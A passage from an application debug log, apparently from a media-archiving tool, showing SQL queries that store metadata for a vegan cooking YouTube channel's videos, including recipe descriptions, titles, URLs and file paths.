Serve hot and enjoy!\n\n\nUse our promo code 'STEAMYVEGAN' to save you $50 off your iHarvest purchase! https://igworks.com/products/iharvest... \n\nWatch my other 'WHAT I EAT' videos ➡️ \u00A0\u00A0\u00A0•\u00A0REALISTIC\u00A0'WHAT\u00A0I\u00A0EAT\u00A0IN\u00A0A\u00A0DAY'\u00A0VIDEOS\u00A0🌱\u00A0\u00A0\n\n------------------------------------------------------------------------------------------------------------------\nIf you made any of these recipes and decide to share them on Facebook or Instagram, don't forget to tag me @SteamyVegan + #SteamyVegan! I love seeing your yummy recreations 😊\n\nStill hungry? Follow me on my other social channels for more steamy deliciousness!\n\nFACEBOOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\nINSTAGRAM: \u00A0\u00A0/\u00A0steamyvegankitchen\u00A0\u00A0\n\nBLOG: https://steamyvegan.com\nCONTACT: janelle@steamyvegan.com\n\nWHERE I GET MY MUSIC: \nThematic: I LOVE using Thematic for all my royalty-free music in my recipe videos. Their song selection is top notch, plus it helps promote fellow creators! Use my link to get 1 month of their PREMIUM membership for free!\nMusic by Naomi - Saturday Light - https://thmatc.co/?l=2FE139D0\nMusic by Chinsaku - Next to you - https://thmatc.co/?l=F8AB819B\nMusic by Mark Generous - White Peony - https://thmatc.co/?l=B7DC5A35\nMusic by HONÜ - Hilo - https://thmatc.co/?l=8988F196", "VEGAN What I Eat In a Day | A day with lots of snacking!", "3d0a7c27-3c90-49b9-a5c2-567f23ffbe25", 1, [], false, "PB2gcVRk8gs", "https://www.youtube.com/watch?v=PB2gcVRk8gs", 314, "/downloads/downloads/alec/Steamy Vegan/2023-04-07 VEGAN What I Eat In a Day | A day with lots of snacking!/VEGAN What I Eat In a Day | A day with lots of snacking! [PB2gcVRk8gs].NA", false, false, false, 1, ~U[2023-04-07 00:00:00Z], ~U[2026-03-22 03:31:08Z], ~U[2026-03-22 03:31:08Z], "What I eat in a day as a vegan! In this vegan what I eat in a day video I'll show you everything I ate during a very busy day, with lots of snacking and eating meals at unusual times for me. Most of my meals were unplanned and on-the-fly as I was running out of fresh produce and ingredients! \n\nRECIPES MENTIONED IN THIS VIDEO:\nProtein chia pudding | Your fave plant-based protein drink + 2 tbsp chia seeds, let thicken in fridge 30 minutes then enjoy!\nTofu salad rolls: https://steamyvegankitchen.com/asian-...\n\nInstant Pot veggie risotto:\n2 cups arborio rice\n6 cups chopped veggies (bell peppers, broccoli, onion, carrots, etc)\n1 can chickpeas, drained and rinsed\n4 cloves minced garlic\n4 cups hot veggie broth\n1 tsp each dried basil, oregano, red chilli flakes\n1. Set IP to Sauté and warm 1 tbsp oil or ¼ cup broth, then sauté the veggies for 5 minutes until they begin to sweat out some moisture.\n2. Stir in the chickpeas, rice and spices and pour in the broth. Put on the lid and set the IP to 'sealing'. \n3. Cancel 'sauté' and press the Rice setting for 10 minutes. Allow the pressure to naturally release for 10 minutes once pressure cooking is over then do a quick release. Serve hot and enjoy!\n\n\nUse our promo code 'STEAMYVEGAN' to save you $50 off your iHarvest purchase! https://igworks.com/products/iharvest... \n\nWatch my other 'WHAT I EAT' videos ➡️ \u00A0\u00A0\u00A0•\u00A0REALISTIC\u00A0'WHAT\u00A0I\u00A0EAT\u00A0IN\u00A0A\u00A0DAY'\u00A0VIDEOS\u00A0🌱\u00A0\u00A0\n\n------------------------------------------------------------------------------------------------------------------\nIf you made any of these recipes and decide to share them on Facebook or Instagram, don't forget to tag me @SteamyVegan + #SteamyVegan! I love seeing your yummy recreations 😊\n\nStill hungry? Follow me on my other social channels for more steamy deliciousness!\n\nFACEBOOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\nINSTAGRAM: \u00A0\u00A0/\u00A0steamyvegankitchen\u00A0\u00A0\n\nBLOG: https://steamyvegan.com\nCONTACT: janelle@steamyvegan.com\n\nWHERE I GET MY MUSIC: \nThematic: I LOVE using Thematic for all my royalty-free music in my recipe videos. Their song selection is top notch, plus it helps promote fellow creators! Use my link to get 1 month of their PREMIUM membership for free!\nMusic by Naomi - Saturday Light - https://thmatc.co/?l=2FE139D0\nMusic by Chinsaku - Next to you - https://thmatc.co/?l=F8AB819B\nMusic by Mark Generous - White Peony - https://thmatc.co/?l=B7DC5A35\nMusic by HONÜ - Hilo - https://thmatc.co/?l=8988F196", "VEGAN What I Eat In a Day | A day with lots of snacking!", 1, nil, false, "PB2gcVRk8gs", "https://www.youtube.com/watch?v=PB2gcVRk8gs", "/downloads/downloads/alec/Steamy Vegan/2023-04-07 VEGAN What I Eat In a Day | A day with lots of snacking!/VEGAN What I Eat In a Day | A day with lots of snacking! [PB2gcVRk8gs].NA", false, ~U[2023-04-07 00:00:00Z]] 20:31:08.379 [debug] QUERY OK source="sources" db=0.5ms idle=7.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:08.381 [debug] QUERY OK source="media_items" db=2.1ms idle=6.3ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2023-03-31 00:00:00Z], 1] 20:31:08.383 [debug] QUERY OK source="media_items" db=1.0ms idle=7.7ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Our honest review where we answer if the uHarvest by IGWorks is the best indoor hydroponic garden for you. We'll tell you all about how it works, pros and cons, and even compare the uHarvest to some of the other indoor hydroponic garden competitors to help you make your buying decision.\n\nNOTE: This video is not sponsored, there are no affiliate links, and we receive no kickbacks in any way. We were sent this product complimentary for our honest thoughts.\n\nIf you enjoy vegan and gluten free recipe videos, product reviews, and more videos about what we like to eat in a day then don't forget to subscribe! We have new content every week on the channel!\n\nFor more details on this product, check out their website: igworks.com\n\nADDITIONAL CONTENT ON THIS AND OTHER HYDROPONIC GARDENS\niHARVEST by IGWorks Review: \u00A0\u00A0\u00A0•\u00A0iHARVEST\u00A0IN-DEPTH\u00A0REVIEW:\u00A0Our\u00A0Honest\u00A0Revie...\u00A0\u00A0\nuHarvest Unboxing and Setup: \u00A0\u00A0\u00A0•\u00A0uHarvest\u00A0Unboxing,\u00A0Set\u00A0Up\u00A0and\u00A0Review\u00A0\u00A0\n\nTimestamps\n0:00 - Introduction\n0:41 - How it Works\n1:24 - Pros: Benefits of the uHarvest\n4:41 - Cons: Why You Shouldn't Buy\n6:30 - uHarvest vs. Aerogarden vs. Click and Grow", "uHARVEST IN-DEPTH REVIEW: Our Honest Review, Pros and Cons (Hydroponic Gardening)", "7c6014c6-0154-44cc-8484-92d79afcd276", 1, [], false, "Ru0VMkjtqIo", "https://www.youtube.com/watch?v=Ru0VMkjtqIo", 315, "/downloads/downloads/alec/Steamy Vegan/2023-03-31 uHARVEST IN-DEPTH REVIEW: Our Honest Review, Pros and Cons (Hydroponic Gardening)/uHARVEST IN-DEPTH REVIEW: Our Honest Review, Pros and Cons (Hydroponic Gardening) [Ru0VMkjtqIo].NA", false, false, false, 1, ~U[2023-03-31 00:00:00Z], ~U[2026-03-22 03:31:08Z], ~U[2026-03-22 03:31:08Z], "Our honest review where we answer if the uHarvest by IGWorks is the best indoor hydroponic garden for you. We'll tell you all about how it works, pros and cons, and even compare the uHarvest to some of the other indoor hydroponic garden competitors to help you make your buying decision.\n\nNOTE: This video is not sponsored, there are no affiliate links, and we receive no kickbacks in any way. We were sent this product complimentary for our honest thoughts.\n\nIf you enjoy vegan and gluten free recipe videos, product reviews, and more videos about what we like to eat in a day then don't forget to subscribe! We have new content every week on the channel!\n\nFor more details on this product, check out their website: igworks.com\n\nADDITIONAL CONTENT ON THIS AND OTHER HYDROPONIC GARDENS\niHARVEST by IGWorks Review: \u00A0\u00A0\u00A0•\u00A0iHARVEST\u00A0IN-DEPTH\u00A0REVIEW:\u00A0Our\u00A0Honest\u00A0Revie...\u00A0\u00A0\nuHarvest Unboxing and Setup: \u00A0\u00A0\u00A0•\u00A0uHarvest\u00A0Unboxing,\u00A0Set\u00A0Up\u00A0and\u00A0Review\u00A0\u00A0\n\nTimestamps\n0:00 - Introduction\n0:41 - How it Works\n1:24 - Pros: Benefits of the uHarvest\n4:41 - Cons: Why You Shouldn't Buy\n6:30 - uHarvest vs. Aerogarden vs. Click and Grow", "uHARVEST IN-DEPTH REVIEW: Our Honest Review, Pros and Cons (Hydroponic Gardening)", 1, nil, false, "Ru0VMkjtqIo", "https://www.youtube.com/watch?v=Ru0VMkjtqIo", "/downloads/downloads/alec/Steamy Vegan/2023-03-31 uHARVEST IN-DEPTH REVIEW: Our Honest Review, Pros and Cons (Hydroponic Gardening)/uHARVEST IN-DEPTH REVIEW: Our Honest Review, Pros and Cons (Hydroponic Gardening) [Ru0VMkjtqIo].NA", false, ~U[2023-03-31 00:00:00Z]] 20:31:08.383 [debug] QUERY OK source="sources" db=0.5ms idle=6.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:08.386 [debug] QUERY OK source="media_items" db=1.9ms idle=5.6ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2023-03-25 00:00:00Z], 1] 20:31:08.388 [debug] QUERY OK source="media_items" db=1.5ms idle=6.6ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Vegan tofu scramble is my favorite way to make plant based scrambled eggs and in this video I'll show you how to make it. Also, I'll be showing off how I love making my favorite vegan breakfast tacos with that tofu scramble.\n\nLet me know, what your favorite go-to breakfast is in the comments! Would love to try to make it in the future.\n\nCheck out some of my other Mexican-inspired recipes on the channel to make your next taco night complete:\n1. Instant Pot Refried Beans: \u00A0\u00A0\u00A0•\u00A0The\u00A0BEST\u00A0Refried\u00A0Beans!\u00A0|\u00A0Instant\u00A0Pot\u00A0Refr...\u00A0\u00A0\n2. Guacamole: \u00A0\u00A0\u00A0•\u00A0How\u00A0to\u00A0Make\u00A0the\u00A0BEST\u00A0Guacamole\u00A0EVER!\u00A0🤯\u00A0\u00A0\n3. Pico De Gallo: \u00A0\u00A0\u00A0•\u00A0The\u00A0BEST\u00A0Pico\u00A0de\u00A0Gallo\u00A0that\u00A0you\u00A0need\u00A0to\u00A0make\u00A0\u00A0\n4. Vegan Chipotle Mukbang: \u00A0\u00A0\u00A0•\u00A0MUKBANG\u00A0|\u00A0Chipotle\u00A0Mukbang\u00A0(we\u00A0try\u00A0Chipotl...\u00A0\u00A0\n\nTOFU SCRAMBLE RECIPE - serves 4 to 6, cut recipe in half if desired\n2 blocks extra-firm tofu (or 1 medium-firm, 1 extra-firm), not pressed\n1 tbsp neutral oil (sunflower, grapeseed, avocado)\n2 tsp garlic powder\n2 tsp turmeric powder\n1 tsp kala namak\n½ tsp black pepper\n¼ cup soy milk (or other plant-milk, just not coconut)\n4 tbsp nutritional yeast\n\n1. Heat a frying pan on medium heat and add the oil. In a large bowl, crumble the blocks of tofu into small pieces.\n2. Once the oil is hot, add the tofu and spices, minus the kala namak, and stir thoroughly until combined and the turmeric has evenly coated the tofu. Cook for ten minutes, covered, stirring frequently to prevent sticking or burning. The tofu should start to get a nice slightly golden colour as it cooks. If the scramble starts looking too dry add in about ¼ cup of soy milk to add some creaminess back.\n3. Once the scramble is almost finished cooking, add in the kala namak and stir throughly to combine. Remove from the heat and serve with your favorite meal or in those breakfast tacos!\n\n---------------------------------------------------------------------------------------------------------------\n\nUse our promo code 'STEAMYVEGAN' to save you $50 off your iHarvest purchase! https://igworks.com/products/iharvest... \n\nWatch my other 'WHAT I EAT' videos ➡️ \u00A0\u00A0\u00A0•\u00A0REALISTIC\u00A0'WHAT\u00A0I\u00A0EAT\u00A0IN\u00A0A\u00A0DAY'\u00A0VIDEOS\u00A0🌱\u00A0\u00A0\nStill hungry? Follow me on my other social channels for more steamy deliciousness!\n\nFACEBOOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\nINSTAGRAM: \u00A0\u00A0/\u00A0steamyvegankitchen\u00A0\u00A0\nTIKTOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\n\nBLOG: https://steamyvegan.com\nCONTACT: janelle@steamyvegan.com", "Tacos for Breakfast!!! The BEST Way to Make Your Tofu Scramble", "a9879fa3-ad90-4b8a-8969-27ea6f88cedd", 1, [], false, "km_9LyiZZLU", "https://www.youtube.com/watch?v=km_9LyiZZLU", 316, "/downloads/downloads/alec/Steamy Vegan/2023-03-25 Tacos for Breakfast!!! The BEST Way to Make Your Tofu Scramble/Tacos for Breakfast!!! The BEST Way to Make Your Tofu Scramble [km_9LyiZZLU].NA", false, false, false, 1, ~U[2023-03-25 00:00:00Z], ~U[2026-03-22 03:31:08Z], ~U[2026-03-22 03:31:08Z], "Vegan tofu scramble is my favorite way to make plant based scrambled eggs and in this video I'll show you how to make it. Also, I'll be showing off how I love making my favorite vegan breakfast tacos with that tofu scramble.\n\nLet me know, what your favorite go-to breakfast is in the comments! Would love to try to make it in the future.\n\nCheck out some of my other Mexican-inspired recipes on the channel to make your next taco night complete:\n1. Instant Pot Refried Beans: \u00A0\u00A0\u00A0•\u00A0The\u00A0BEST\u00A0Refried\u00A0Beans!\u00A0|\u00A0Instant\u00A0Pot\u00A0Refr...\u00A0\u00A0\n2. Guacamole: \u00A0\u00A0\u00A0•\u00A0How\u00A0to\u00A0Make\u00A0the\u00A0BEST\u00A0Guacamole\u00A0EVER!\u00A0🤯\u00A0\u00A0\n3. Pico De Gallo: \u00A0\u00A0\u00A0•\u00A0The\u00A0BEST\u00A0Pico\u00A0de\u00A0Gallo\u00A0that\u00A0you\u00A0need\u00A0to\u00A0make\u00A0\u00A0\n4. Vegan Chipotle Mukbang: \u00A0\u00A0\u00A0•\u00A0MUKBANG\u00A0|\u00A0Chipotle\u00A0Mukbang\u00A0(we\u00A0try\u00A0Chipotl...\u00A0\u00A0\n\nTOFU SCRAMBLE RECIPE - serves 4 to 6, cut recipe in half if desired\n2 blocks extra-firm tofu (or 1 medium-firm, 1 extra-firm), not pressed\n1 tbsp neutral oil (sunflower, grapeseed, avocado)\n2 tsp garlic powder\n2 tsp turmeric powder\n1 tsp kala namak\n½ tsp black pepper\n¼ cup soy milk (or other plant-milk, just not coconut)\n4 tbsp nutritional yeast\n\n1. Heat a frying pan on medium heat and add the oil. In a large bowl, crumble the blocks of tofu into small pieces.\n2. Once the oil is hot, add the tofu and spices, minus the kala namak, and stir thoroughly until combined and the turmeric has evenly coated the tofu. Cook for ten minutes, covered, stirring frequently to prevent sticking or burning. The tofu should start to get a nice slightly golden colour as it cooks. If the scramble starts looking too dry add in about ¼ cup of soy milk to add some creaminess back.\n3. Once the scramble is almost finished cooking, add in the kala namak and stir throughly to combine. Remove from the heat and serve with your favorite meal or in those breakfast tacos!\n\n---------------------------------------------------------------------------------------------------------------\n\nUse our promo code 'STEAMYVEGAN' to save you $50 off your iHarvest purchase! https://igworks.com/products/iharvest... \n\nWatch my other 'WHAT I EAT' videos ➡️ \u00A0\u00A0\u00A0•\u00A0REALISTIC\u00A0'WHAT\u00A0I\u00A0EAT\u00A0IN\u00A0A\u00A0DAY'\u00A0VIDEOS\u00A0🌱\u00A0\u00A0\nStill hungry? Follow me on my other social channels for more steamy deliciousness!\n\nFACEBOOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\nINSTAGRAM: \u00A0\u00A0/\u00A0steamyvegankitchen\u00A0\u00A0\nTIKTOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\n\nBLOG: https://steamyvegan.com\nCONTACT: janelle@steamyvegan.com", "Tacos for Breakfast!!! The BEST Way to Make Your Tofu Scramble", 1, nil, false, "km_9LyiZZLU", "https://www.youtube.com/watch?v=km_9LyiZZLU", "/downloads/downloads/alec/Steamy Vegan/2023-03-25 Tacos for Breakfast!!! The BEST Way to Make Your Tofu Scramble/Tacos for Breakfast!!! The BEST Way to Make Your Tofu Scramble [km_9LyiZZLU].NA", false, ~U[2023-03-25 00:00:00Z]] 20:31:08.388 [debug] QUERY OK source="sources" db=0.5ms idle=6.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:08.391 [debug] QUERY OK source="media_items" db=1.9ms idle=6.5ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2023-03-17 00:00:00Z], 1] 20:31:08.393 [debug] QUERY OK source="media_items" db=1.6ms idle=7.9ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["I've got the BEST guacamole recipe EVER and can't wait for you to try it out for yourself! If you 1) like chunky guacamole 2) like spicy guacamole 3) like EASY guacamole... this is going to be your new go-to for taco night. \n\nCheck out some of my other Mexican-inspired recipes on the channel to make your next taco night complete:\n1. Instant Pot Refried Beans: \u00A0\u00A0\u00A0•\u00A0The\u00A0BEST\u00A0Refried\u00A0Beans!\u00A0|\u00A0Instant\u00A0Pot\u00A0Refr...\u00A0\u00A0\n2. Corn & Mango Pico de Gallo: \u00A0\u00A0\u00A0•\u00A0The\u00A0BEST\u00A0Pico\u00A0de\u00A0Gallo\u00A0that\u00A0you\u00A0need\u00A0to\u00A0make\u00A0\u00A0\n3. Copycat Chipotle Sofritas Burritos: COMING SOON!\n\nSUBSCRIBE so you don't miss any of these videos coming up! Thank you so much for all your support. Every like, comment and watch helps to grow the channel!\n\nTHE BEST GUACAMOLE EVER - serves 2 to 4 people\n2 to 3 medium avocados\n¼ of a white or yellow onion, finely diced\n3 cloves of garlic, minced\njuice of 1 lime\n½ bundle of cilantro, finely chopped\n1 tsp pink himalayan salt\nheaping ¼ tsp red chilli flakes\n½ tsp cumin\nblack pepper to taste\n\n1. Slice open the avocados, remove the pit and and scoop the insides into a large bowl. Give it a light mash with a fork.\n2. Add all remaining ingredients into the bowl and combine and mash with a fork until your desired chunky texture. So easy and delish!!\n3. Serve with chips, salsa, tacos, burritos, tostadas, burrito bowls, anything!\n\nOptional add-ins: Chopped spicy peppers (jalapeño, serano), diced tomatoes or red bell pepper, grilled corn, vegan cheese shreds.\n\n---------------------------------------------------------------------------------------------------------------\n\nUse our promo code 'STEAMYVEGAN' to save you $50 off your iHarvest purchase! https://igworks.com/products/iharvest... \n\nWatch my other 'WHAT I EAT' videos ➡️ \u00A0\u00A0\u00A0•\u00A0REALISTIC\u00A0'WHAT\u00A0I\u00A0EAT\u00A0IN\u00A0A\u00A0DAY'\u00A0VIDEOS\u00A0🌱\u00A0\u00A0\nStill hungry? Follow me on my other social channels for more steamy deliciousness!\n\nFACEBOOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\nINSTAGRAM: \u00A0\u00A0/\u00A0steamyvegankitchen\u00A0\u00A0\nTIKTOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\n\nBLOG: https://steamyvegan.com\nCONTACT: janelle@steamyvegan.com", "How to Make the BEST Guacamole EVER! 🤯", "72829891-6772-407d-8558-b3bfa46e89c7", 1, [], false, "GDjh5_Maauc", "https://www.youtube.com/watch?v=GDjh5_Maauc", 317, "/downloads/downloads/alec/Steamy Vegan/2023-03-17 How to Make the BEST Guacamole EVER! 🤯/How to Make the BEST Guacamole EVER! 🤯 [GDjh5_Maauc].NA", false, false, false, 1, ~U[2023-03-17 00:00:00Z], ~U[2026-03-22 03:31:08Z], ~U[2026-03-22 03:31:08Z], "I've got the BEST guacamole recipe EVER and can't wait for you to try it out for yourself! If you 1) like chunky guacamole 2) like spicy guacamole 3) like EASY guacamole... this is going to be your new go-to for taco night. \n\nCheck out some of my other Mexican-inspired recipes on the channel to make your next taco night complete:\n1. Instant Pot Refried Beans: \u00A0\u00A0\u00A0•\u00A0The\u00A0BEST\u00A0Refried\u00A0Beans!\u00A0|\u00A0Instant\u00A0Pot\u00A0Refr...\u00A0\u00A0\n2. Corn & Mango Pico de Gallo: \u00A0\u00A0\u00A0•\u00A0The\u00A0BEST\u00A0Pico\u00A0de\u00A0Gallo\u00A0that\u00A0you\u00A0need\u00A0to\u00A0make\u00A0\u00A0\n3. Copycat Chipotle Sofritas Burritos: COMING SOON!\n\nSUBSCRIBE so you don't miss any of these videos coming up! Thank you so much for all your support. Every like, comment and watch helps to grow the channel!\n\nTHE BEST GUACAMOLE EVER - serves 2 to 4 people\n2 to 3 medium avocados\n¼ of a white or yellow onion, finely diced\n3 cloves of garlic, minced\njuice of 1 lime\n½ bundle of cilantro, finely chopped\n1 tsp pink himalayan salt\nheaping ¼ tsp red chilli flakes\n½ tsp cumin\nblack pepper to taste\n\n1. Slice open the avocados, remove the pit and and scoop the insides into a large bowl. Give it a light mash with a fork.\n2. Add all remaining ingredients into the bowl and combine and mash with a fork until your desired chunky texture. So easy and delish!!\n3. Serve with chips, salsa, tacos, burritos, tostadas, burrito bowls, anything!\n\nOptional add-ins: Chopped spicy peppers (jalapeño, serano), diced tomatoes or red bell pepper, grilled corn, vegan cheese shreds.\n\n---------------------------------------------------------------------------------------------------------------\n\nUse our promo code 'STEAMYVEGAN' to save you $50 off your iHarvest purchase! https://igworks.com/products/iharvest... \n\nWatch my other 'WHAT I EAT' videos ➡️ \u00A0\u00A0\u00A0•\u00A0REALISTIC\u00A0'WHAT\u00A0I\u00A0EAT\u00A0IN\u00A0A\u00A0DAY'\u00A0VIDEOS\u00A0🌱\u00A0\u00A0\nStill hungry? Follow me on my other social channels for more steamy deliciousness!\n\nFACEBOOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\nINSTAGRAM: \u00A0\u00A0/\u00A0steamyvegankitchen\u00A0\u00A0\nTIKTOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\n\nBLOG: https://steamyvegan.com\nCONTACT: janelle@steamyvegan.com", "How to Make the BEST Guacamole EVER! 🤯", 1, nil, false, "GDjh5_Maauc", "https://www.youtube.com/watch?v=GDjh5_Maauc", "/downloads/downloads/alec/Steamy Vegan/2023-03-17 How to Make the BEST Guacamole EVER! 🤯/How to Make the BEST Guacamole EVER! 🤯 [GDjh5_Maauc].NA", false, ~U[2023-03-17 00:00:00Z]] 20:31:08.394 [debug] QUERY OK source="sources" db=0.4ms idle=7.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:08.396 [debug] QUERY OK source="media_items" db=1.7ms idle=6.8ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2023-03-14 00:00:00Z], 1] 20:31:08.398 [debug] QUERY OK source="media_items" db=1.4ms idle=7.9ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Cook with me and make this delicious PICO DE GALLO recipe with a fruity twist of mango! 🥭 This pico de gallo recipe is always the biggest hit at any party or perfect for taco night with the family. It takes 10 minutes to whip up and is EASY to make!\n\nComment below and tell me about your favorite Mexican foods! Are you a taco, burrito, or taquito lover? Also, let me know if you like this style of cook-along recipe video because I'd love to make more of these if you actually enjoy them!\n\nCheck out my other Mexican-inspired recipes!\n1. VEGAN Sheet Pan Fajitas: \u00A0\u00A0\u00A0•\u00A0VEGAN\u00A0MEAL\u00A0PREP:\u00A0Sheet\u00A0Pan\u00A0Fajitas\u00A0for\u00A0Bud...\u00A0\u00A0\n2. Instant Pot Refried Beans: \u00A0\u00A0\u00A0•\u00A0The\u00A0BEST\u00A0Refried\u00A0Beans!\u00A0|\u00A0Instant\u00A0Pot\u00A0Refr...\u00A0\u00A0\n3. The BEST Guacamole: \u00A0\u00A0\u00A0•\u00A0How\u00A0to\u00A0Make\u00A0the\u00A0BEST\u00A0Guacamole\u00A0EVER!\u00A0🤯\u00A0\u00A0\n4. The BEST Mango Pico de Gallo: \u00A0\u00A0\u00A0•\u00A0The\u00A0BEST\u00A0Pico\u00A0de\u00A0Gallo\u00A0that\u00A0you\u00A0need\u00A0to\u00A0make\u00A0\u00A0\n\nMANGO & CORN PICO DE GALLO\n4 roma tomatoes, de-seeded and diced\n1 cup diced white or yellow onion\n1 large jalapeño, seeds removed and diced (or leave seeds if you like it spicy!)\nJuice of 1 lime\nHalf a bundle of cilantro, finely chopped\n1 cup of corn, fresh or frozen (thawed) Could also grill it!\n1 large ripe mango, cubed\n1 tsp pink himalayan saly (or sea salt)\n\nINSTRUCTIONS: Mix everything in a large bowl, adjust seasonings and salt to taste and its ready to eat! Ridiculously easy. Doesn't hurt to let it chill in the fridge for 1 hour before serving to help all the flavors meld together!\n\nCheck out some of my other Mexican cuisine recipes on the channel to make your next taco night complete:\n1. Refried Beans: \u00A0\u00A0\u00A0•\u00A0The\u00A0BEST\u00A0Refried\u00A0Beans!\u00A0|\u00A0Instant\u00A0Pot\u00A0Refr...\u00A0\u00A0\n2. How to Make the Best Guacamole: \u00A0\u00A0\u00A0•\u00A0How\u00A0to\u00A0Make\u00A0the\u00A0BEST\u00A0Guacamole\u00A0EVER!\u00A0🤯\u00A0\u00A0\n3. VEGAN Sheet Pan Fajitas: \u00A0\u00A0\u00A0•\u00A0VEGAN\u00A0MEAL\u00A0PREP:\u00A0Sheet\u00A0Pan\u00A0Fajitas\u00A0for\u00A0Bud...\u00A0\u00A0\n\nSUBSCRIBE so you don't miss any of these videos coming up! Thank you so much for all your support, every like, comment and watch help to grow the channel!\n\n---------------------------------------------------------------------------------------------------------------\n\nUse our promo code 'STEAMYVEGAN' to save you $50 off your iHarvest purchase! https://igworks.com/products/iharvest... \n\nWatch my other 'WHAT I EAT' videos 